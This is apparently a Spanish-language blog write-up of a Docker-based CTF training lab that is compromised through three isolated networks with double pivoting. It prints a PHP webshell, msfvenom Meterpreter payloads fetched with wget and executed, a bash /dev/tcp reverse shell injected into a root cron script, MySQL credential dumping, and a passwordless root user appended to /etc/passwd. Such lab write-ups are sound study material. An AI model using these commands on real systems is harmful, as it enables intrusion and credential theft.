Inicio
Proyectos
Ver todos Laboratorio SOC
Blog
Tutoriales
Ver todos Servidor LDAP Servidor Web AWS Kubernetes Pandora FMS Descargar VM Fortinet Autenticación LDAP Gophish
CTF
Ver todos Lab 1 — vsftpd + Pivoting Lab 2 — SMB + SQLi + SUID Lab 3 — Upload + Doble Pivot Lab 4 — Doble Pivot Real
Portfolio Consultoría

Lab 3 — File Upload + MySQL + Cron + Doble Pivoting

Estos laboratorios están montados en contenedores Docker configurados para ello.

Laboratorio File Upload MySQL Doble Pivot Cron Privesc Completado 18 Mar 2026 ↓ Descargar Lab

El laboratorio más complejo de la serie. Tres redes completamente aisladas entre sí, requiriendo dos saltos de pivoting encadenados. Vectores utilizados: webshell PHP via file upload sin restricciones, extracción de credenciales desde MySQL interno, escalada por cron job escribible, y escritura en /etc/passwd en el servidor de producción final.

0

Topología del laboratorio

Ubuntu - Atacante -> Pivot 1 (172.22.10.0/24) -> Pivot 2 (172.22.20.0/24) -> Target (172.22.30.30)
── Fase 1: Comprometer PIVOT 1 ──
1

Reconocimiento + File Upload

Escaneo inicial de la Red A para descubrir el primer pivot.

nmap -sV -p 80,22 172.22.10.8
Servicio web en puerto 80: "DEV File Manager v0.3"
Directorio de uploads sin restricciones de extensión.

Enumeración de directorios para mapear la superficie de ataque.

gobuster dir -u http://172.22.10.8 \
  -w /usr/share/wordlists/dirb/common.txt

# Resultado:
# /upload  → formulario de subida
# /files/  → listado de archivos subidos
# /robots.txt → confirma /upload y /files/

El servidor acepta cualquier extensión incluyendo .php y los ejecuta como CGI. Subimos una webshell:

# webshell.php:
<?php system($_GET['cmd']); ?>

curl -F "[email protected]" http://172.22.10.8/upload
# Acceder con: http://172.22.10.8/files/webshell.php?cmd=id
RCE confirmado: uid=0(root) gid=0(root)
2

Reverse Shell → Meterpreter en PIVOT 1

# Generar payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=172.22.10.1 LPORT=4444 -f elf -o shell.elf

# Subir payload via webshell:
# 1. Servir desde Kali: python3 -m http.server 8080
# 2. Descargar en el pivot via RCE:
#    ?cmd=wget http://172.22.10.1:8080/shell.elf -O /tmp/shell.elf
# 3. Ejecutar: ?cmd=chmod+x /tmp/shell.elf; /tmp/shell.elf &

# Listener en msfconsole:
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 172.22.10.1
set LPORT 4444
run
Sesión Meterpreter 1 activa: root @ dev-web01
── Fase 2: Primer Pivoting → Red B ──
3

Autoroute Red B + Descubrimiento PIVOT 2

# En sesión Meterpreter 1:
run autoroute -s 172.22.20.0/24
run autoroute -p
background

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.22.20.0/24
set PORTS 22,3306
set THREADS 1
run
PIVOT 2 descubierto: 172.22.20.20 — MySQL (3306) y SSH (22)
4

Extracción de credenciales desde MySQL

Redirigimos el puerto MySQL del PIVOT 2 a un puerto local en Kali para conectar directamente con el cliente.

# En Meterpreter sesión 1:
portfwd add -l 13306 -p 3306 -r 172.22.20.20

# En Kali:
mysql -h 127.0.0.1 -P 13306 -u root

mysql> USE corp_db;
mysql> SELECT * FROM system_users;
Credenciales extraídas de la base de datos:
dbadmin : Mysql@2024! (SSH a PIVOT2)
sysop : Pr0d_S3rv3r! (SSH a TARGET — Red C)
── Fase 3: Comprometer PIVOT 2 ──
5

SSH a PIVOT 2 → Meterpreter + Cron Privesc

# SSH a PIVOT 2 con creds extraídas de MySQL:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.22.20.20
set USERNAME dbadmin
set PASSWORD Mysql@2024!
run

sessions -i 2   # sesión SSH en PIVOT 2

Desde la sesión de dbadmin, enumeramos tareas cron en busca de vectores de escalada.

cat /etc/cron.d/*
# * * * * * root /opt/scripts/maintenance.sh

ls -la /opt/scripts/maintenance.sh
# -rwxrwxrwx  ← escribible por todos
Cron job ejecutado como root cada minuto con permisos 777.
Vector de escalada confirmado.

Inyectamos una reverse shell en el script para recibirla cuando cron lo ejecute.

# Listener en Kali:
nc -lvnp 5555

# Inyectar en el script (desde sesión dbadmin):
echo 'bash -i >& /dev/tcp/172.22.10.1/5555 0>&1' \
  >> /opt/scripts/maintenance.sh

# Esperar ~1 minuto hasta que cron ejecute el script
Shell de root recibida en PIVOT 2.
Loot crítico en /root/infra/prod_creds.txt:
prod-server01: 172.22.30.30, sysop : Pr0d_S3rv3r!
Nota: /etc/passwd escribible (legacy config)
── Fase 4: Segundo Pivoting → Red C ──
6

Autoroute Red C + Acceso al TARGET

Generamos un segundo Meterpreter desde la shell de root de PIVOT 2 y añadimos la ruta hacia la Red C.

# Subir y ejecutar payload desde root en PIVOT 2:
wget http://172.22.10.1:8080/shell2.elf -O /tmp/shell2.elf
chmod +x /tmp/shell2.elf && /tmp/shell2.elf &

# En msfconsole — nueva sesión Meterpreter 3:
sessions -i 3
run autoroute -s 172.22.30.0/24
background

# Escanear Red C:
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.22.30.0/24
set PORTS 22
set THREADS 1
run
TARGET descubierto: 172.22.30.30 — SSH (22)
── Fase 5: TARGET final + Flag ──
7

Escalada via /etc/passwd + Flag

# Acceder al TARGET con credenciales de PIVOT 2:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.22.30.30
set USERNAME sysop
set PASSWORD Pr0d_S3rv3r!
run

sessions -i 4

Desde la sesión de sysop verificamos el vector de escalada indicado en las notas del loot.

ls -la /etc/passwd
# -rw-rw-rw-  ← escribible por todos

# Añadir usuario con UID 0 (root) sin password:
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

whoami   # root
cat /root/flag.txt
🚩 FLAG: FLAG{d0ubl3_p1v0t_m4st3r_eJPT_c0mpl3t3!}

Conclusiones y aprendizajes


Volver a CTF & Labs.